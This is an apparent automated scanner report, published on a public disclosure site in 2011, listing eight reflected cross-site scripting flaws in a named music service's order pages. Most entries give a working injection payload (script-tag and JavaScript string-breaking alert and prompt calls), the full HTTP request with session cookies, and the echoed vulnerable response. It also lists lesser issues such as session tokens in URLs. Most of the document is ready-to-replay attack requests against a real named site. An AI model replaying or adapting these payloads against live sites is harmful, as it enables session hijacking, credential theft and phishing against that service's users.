XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, order.rhapsody.com

Report generated by XSS.CX at Mon Sep 05 13:17:24 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in order.rhaposdy.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, BHDB, Javascript Injection, Insecure Programming, Weak Configuration, Browser Hijacking, Phishing

1.1. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [REST URL parameter 2]

1.2. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [REST URL parameter 3]

1.3. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [REST URL parameter 4]

1.4. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [name of an arbitrarily supplied request parameter]

1.5. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [opage parameter]

1.6. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [opage parameter]

1.7. https://order.rhapsody.com/rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d [REST URL parameter 5]

1.8. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [afftr_override cookie]

2. Session token in URL

2.1. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d

2.2. https://order.rhapsody.com/rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d

3. Password field submitted using GET method

4. Password field with autocomplete enabled

4.1. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d

4.2. https://order.rhapsody.com/rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d

5. SSL cookie without secure flag set

6. Cross-domain Referer leakage

7. Cross-domain script include

8. Cookie without HttpOnly flag set

9. Robots.txt file

10. SSL certificate



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1977c"><script>alert(1)</script>b684aeb346c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /rhapsody/premierplus1977c"><script>alert(1)</script>b684aeb346c/monthly/30d?opage=freetrial30drpp2 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:06:14 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15802


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...
<form id="flowCommonFormFields" action="/order/rhapsody/premierplus1977c"><script>alert(1)</script>b684aeb346c/monthly/30d?_flowExecutionKey=_cFFDF45F8-A803-ABC3-3E57-9543316A136E_k3871D239-2264-E245-2EE0-3014E885AB05" method="post">
...[SNIP]...

1.2. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 679c0"><script>alert(1)</script>b6a2928ab29 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /rhapsody/premierplus/monthly679c0"><script>alert(1)</script>b6a2928ab29/30d?opage=freetrial30drpp2 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:06:43 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15802


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...
<form id="flowCommonFormFields" action="/order/rhapsody/premierplus/monthly679c0"><script>alert(1)</script>b6a2928ab29/30d?_flowExecutionKey=_c7A194AE5-9384-74A7-8BA4-37849A493CA6_kC76E963E-12DE-F7BE-F974-18A6D8809822" method="post">
...[SNIP]...

1.3. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49194"><script>alert(1)</script>e1e279b70fa was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /rhapsody/premierplus/monthly/30d49194"><script>alert(1)</script>e1e279b70fa?opage=freetrial30drpp2 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:07:12 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15802


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...
<form id="flowCommonFormFields" action="/order/rhapsody/premierplus/monthly/30d49194"><script>alert(1)</script>e1e279b70fa?_flowExecutionKey=_c5F979B92-685D-A9F2-A884-094F135B15E8_k44E62DE6-82E1-94E2-7720-D4DE96626D55" method="post">
...[SNIP]...

1.4. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 76788"-alert(1)-"5b0d8737db4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /rhapsody/premierplus/monthly/30d?opage=freetrial30drpp2&76788"-alert(1)-"5b0d8737db4=1 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:06:12 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12180


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...
e: "pi",
rsrc: "gg_srch_gen_frdlm_songdownloadsfreeB",
cpath: "ppcse"
};

originalUrl = "http://order.rhapsody.com/order/rhapsody/premierplus/monthly/30d?opage=freetrial30drpp2&76788"-alert(1)-"5b0d8737db4=1";
</script>
...[SNIP]...

1.5. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [opage parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The value of the opage request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c39c5'%3balert(1)//b402c85ce96 was submitted in the opage parameter. This input was echoed as c39c5';alert(1)//b402c85ce96 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /rhapsody/premierplus/monthly/30d?opage=freetrial30drpp2c39c5'%3balert(1)//b402c85ce96 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:05:35 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12235


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...
riable list
   s['eVar1']='pi';
   s['eVar2']='ppcse';
   s['eVar3']='gg_srch_gen_frdlm_songdownloadsfreeB';
   s['eVar4']='';
   s['eVar5']='';
   s['eVar10']='rp';
   s['eVar12']='';
   s['eVar13']='freetrial30drpp2c39c5';alert(1)//b402c85ce96';
   s['eVar16']='';
   s['eVar17']='';
   s['eVar18']='store:rpp-14:K-std-rhap-flow:S13-rhapsody:loginPage';
   s['eVar37']='rotw';
   s['eVar47']='search';
   s['eVar48']='';
   s['eVar49']='realstore';
   
   // oth
...[SNIP]...

1.6. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [opage parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The value of the opage request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96cc8"%3balert(1)//c9d42b289cd was submitted in the opage parameter. This input was echoed as 96cc8";alert(1)//c9d42b289cd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /rhapsody/premierplus/monthly/30d?opage=freetrial30drpp296cc8"%3balert(1)//c9d42b289cd HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:05:33 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12235


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


<meta name="v
...[SNIP]...
<script type="text/javascript">
internalTrackingObject = {
basis: "REQUEST_PARAMS",
src: "",
lsrc: "",
opage: "freetrial30drpp296cc8";alert(1)//c9d42b289cd"
};

externalTrackingObject = {
basis: "COOKIE_OVERRIDE",
ocode: "search",
pcode: "pi",
rsrc: "gg_srch_gen_frdlm_songdownloadsfreeB",
cpath: "ppcse"

...[SNIP]...

1.7. https://order.rhapsody.com/rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 6f91a<script>alert(1)</script>33041c267a0 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rhapsody/premierplus1977c%22%3E%3Cscript%3Eprompt(%22FOOL!%22)%3C/script%3Eb684aeb346c/monthly/30d6f91a<script>alert(1)</script>33041c267a0;jsessionid=11813A606E11A8F593C77A1CCE3318F9?_flowExecutionKey=_c0B1E492A-79F1-E6A4-5BA6-110770429A3A_k662AB30E-A1CD-76AC-F66B-7D5D09CFC1F0 HTTP/1.1
Host: order.rhapsody.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://burp/show/2
Cookie: JSESSIONID=11813A606E11A8F593C77A1CCE3318F9; RSOrderPath=EP%3Dru-6%26cpath%3Dppcse%26ocode%3Dsearch%26opage%3Dfreetrial30drpp2%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB; NSC_psefs.sibqtpez.dpn-443=ffffffff099e1b3c45525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:15:38 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 15839


<html>
<head>
<title>Rhapsody</title>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />


<link rel="stylesheet" href="/order/flows/std/rhapsody2/css/login.css" type="
...[SNIP]...
</script>b684aeb346c/monthly/30d6f91a<script>alert(1)</script>33041c267a0?_flowExecutionKey=_c0B1E492A-79F1-E6A4-5BA6-110770429A3A_k662AB30E-A1CD-76AC-F66B-7D5D09CFC1F0" method="post">
...[SNIP]...

1.8. https://order.rhapsody.com/rhapsody/premierplus/monthly/30d [afftr_override cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://order.rhapsody.com
Path:   /rhapsody/premierplus/monthly/30d

Issue detail

The value of the afftr_override cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 496cf'%3bcb06084bd31 was submitted in the afftr_override cookie. This input was echoed as 496cf';cb06084bd31 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /rhapsody/premierplus/monthly/30d?opage=freetrial30drpp2 HTTP/1.1
Host: order.rhapsody.com
Connection: keep-alive
Referer: http://www.rhapsody.com/freetrial/30d/rpp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: afftr_override=cpath%3Dppcse%26ocode%3Dsearch%26pcode%3Dpi%26rsrc%3Dgg_srch_gen_frdlm_songdownloadsfreeB496cf'%3bcb06084bd31; s_pers=%20s_gnr%3D1315249422373-New%7C1320433422373%3B%20s_vnum%3D1317445200376%2526vn%253D1%7C1317445200376%3B%20s_invisit%3Dtrue%7C1315251222376%3B%20s_lv%3D1315249422381%7C1409857422381%3B%20s_lv_s%3DFirst%2520Visit%7C1315251222381%3B; __qca=P0-513977417-1315249422501; s_vi=[CS]v1|27328E75051615C6-600001830048FEA9[CE]; s_sess=%20s_dslv%3DFirst%2520Visit%3B%20s_cc%3Dtrue%3B%20s_sq%3Drhapcomprod%253D%252526pid%25253DMarketing%25252520%2525253A%25252520Marketing%2525253A%25252520Rhapsody.com%25252520Free%25252520Trial%2525252030d%25252520RPP%25252520Page%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Forder.rhapsody.com%2525252Frhapsody%2525252Fpremierplus%2525252Fmonthly%2525252F30d%2525253Fopage%2525253Dfreetrial30drpp2%252526ot%25253DA%3B

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 05 Sep 2011 19:06:00 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
nnCoection: close
Content-Length: 12221


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Rhapsody</title>


